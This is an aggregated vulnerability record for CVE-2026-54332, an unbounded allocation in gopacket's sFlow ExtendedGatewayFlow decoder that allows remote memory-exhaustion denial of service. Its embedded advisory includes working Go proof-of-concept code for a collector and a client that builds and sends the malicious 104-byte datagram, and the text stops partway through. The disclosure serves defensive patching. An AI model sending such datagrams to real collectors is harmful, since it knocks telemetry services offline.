{"id":"CVE-2026-54332","aliases":["AZL-94323","DEBIAN-CVE-2026-54332","EUVD-2026-49894","GHSA-g6v3-7xmc-w563","GO-2026-6122","SUSE-SU-2026:23625-1","UBUNTU-CVE-2026-54332","openSUSE-SU-2026:21761-1"],"status":"published","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0079,"percentile":0.56713,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-07-28T16:17:26Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"Go","package":"github.com/gopacket/gopacket","fixed_in":["1.6.1"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"telegraf","fixed_in":["1.31.0-31"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/gopacket/gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.6.0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"telegraf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.31.0-31"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1","1.2.0-1","1.2.0-2","1.3.0-1","1.3.0-2"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-2"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-2"]},{"source":"osv","ecosystem":"Debian:12","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-3","1.1.19-4","1.1.19-5","1.1.19-6","1.1.19-6.1","1.1.19-6.2"]},{"source":"osv","ecosystem":"Debian:13","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-6.2"]},{"source":"osv","ecosystem":"Debian:14","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-6.2"]},{"source":"osv","ecosystem":"Go","package":"github.com/gopacket/gopacket","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gopacket/gopacket","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.10-1","1.1.11-1","1.1.11-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.12-2","1.1.13-1","1.1.14-1","1.1.14-2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.14-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1","1.2.0-1","1.2.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-3","1.1.19-4","1.1.19-6"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-6.2build1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-6.2","1.1.19-6.2build1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"gopacket","product":"gopacket"}],"references":[{"url":"https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563","tags":["x_refsource_CONFIRM","exploit","Exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/gopacket/gopacket/releases/tag/v1.6.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-g6v3-7xmc-w563"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54332","tags":["web","advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54332.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54332","tags":["advisory"]},{"url":"https://github.com/gopacket/gopacket","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-54332","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54332","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-54332","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T16:17:48.796Z","modified":"2026-07-28T17:28:21.158Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T13:37:58.613221Z"}],"euvd":[{"id":"EUVD-2026-49894","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T16:17:48Z","modified":"2026-07-28T17:28:21Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:30.949894Z"}],"ghsa":[{"id":"GHSA-g6v3-7xmc-w563","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -\u003e up to 16 GiB make) -\u003e unauthenticated remote DoS","description":"## Summary\n\nThe sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).\n\n## Root cause (file:line @ v1.6.0)\n\nTwo sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:\n\n1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:\n```go\n*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\neg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound\nfor j := uint32(0); j \u003c communitiesLength; j++ { ... }\n```\n\n2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):\n```go\n*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\nad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound\nfor i := uint32(0); i \u003c ad.Count; i++ { ... }\n```\n\nIn both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).\n\n## Reachability (remote attacker -\u003e sink)\n\nThe registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:\n\n`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -\u003e `SampleCount` loop -\u003e `decodeFlowSample(expanded=false)` (sflow.go:458) -\u003e `RecordCount` loop -\u003e record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -\u003e `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -\u003e sink at line 1306 (and line 1276 via the `ASPath` -\u003e `decodePath` branch).\n\nsFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed sFlow collector. A minimal\nbut realistic UDP collector (built on the public gopacket API, exactly as a real\nnetwork-telemetry collector would be) runs inside a hard-capped 256 MB container;\nan independent client process sends a real malicious sFlow datagram over a real\nUDP socket; the collector process is then observed to die. A benign datagram is\nused as a negative control.\n\nThe harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at\nthe v1.6.0 tag, `layers/sflow.go:1306`).\n\n### Collector (real UDP sFlow collector)\n\n```go\n// collector.go — binds a UDP socket and, for every datagram, builds a\n// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives\n// the registered sFlow decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc main() {\n\tudpAddr, _ := net.ResolveUDPAddr(\"udp4\", \"0.0.0.0:6343\")\n\tconn, err := net.ListenUDP(\"udp4\", udpAddr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tfmt.Printf(\"[collector] sFlow collector listening on udp %s\\n\", conn.LocalAddr())\n\n\tbuf := make([]byte, 65535)\n\tfor {\n\t\tn, src, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdatagram := make([]byte, n)\n\t\tcopy(datagram, buf[:n])\n\t\tfmt.Printf(\"[collector] received %d-byte datagram from %s\\n\", n, src)\n\t\tpkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)\n\t\tif dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {\n\t\t\tfmt.Printf(\"[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\\n\",\n\t\t\t\tdg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))\n\t\t} else {\n\t\t\tfmt.Printf(\"[collector] no sFlow layer decoded\\n\")\n\t\t}\n\t}\n}\n```\n\n### Client (independent process, real UDP socket, no gopacket dependency)\n\nThe client crafts a well-formed sFlow v5 datagram with one FlowSample carrying\none ExtendedGatewayFlow (record type 1003) record and sets only its\n`communitiesLength` field. For the benign case it appends real community words\nplus the trailing LocalPref word so the record decodes cleanly.\n\n```go\n// client.go — usage: client \u003caddr\u003e \u003ccommunitiesLength\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\nfunc u32(b *[]byte, v uint32) {\n\tt := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(t, v)\n\t*b = append(*b, t...)\n}\n\nfunc buildDatagram(commLen uint32, benign bool) []byte {\n\tvar d []byte\n\tu32(\u0026d, 5); u32(\u0026d, 1); u32(\u0026d, 0x7f000001); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 1)           // SampleCount = 1\n\tu32(\u0026d, 1)           // sample format -\u003e FlowSample\n\tu32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 1)           // RecordCount = 1\n\tu32(\u0026d, 1003)        // record format -\u003e ExtendedGatewayFlow\n\tu32(\u0026d, 0)           // FlowDataLength\n\tu32(\u0026d, 1)           // gateway address type = IPv4\n\tu32(\u0026d, 0x08080808)  // NextHop\n\tu32(\u0026d, 0); u32(\u0026d, 0); u32(\u0026d, 0)\n\tu32(\u0026d, 0)           // ASPathCount = 0\n\tu32(\u0026d, commLen)     // communitiesLength -\u003e make([]uint32, commLen) sink\n\tif benign {\n\t\tfor i := uint32(0); i \u003c commLen; i++ {\n\t\t\tu32(\u0026d, 0xABCD0000+i)\n\t\t}\n\t\tu32(\u0026d, 100) // trailing LocalPref word\n\t}\n\treturn d\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tcommLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := buildDatagram(uint32(commLen), benign)\n\traddr, _ := net.ResolveUDPAddr(\"udp\", addr)\n\tconn, _ := net.DialUDP(\"udp\", nil, raddr)\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\\n\",\n\t\tlen(data), commLen, benign)\n}\n```\n\n### Run and observed result\n\nThe collector runs 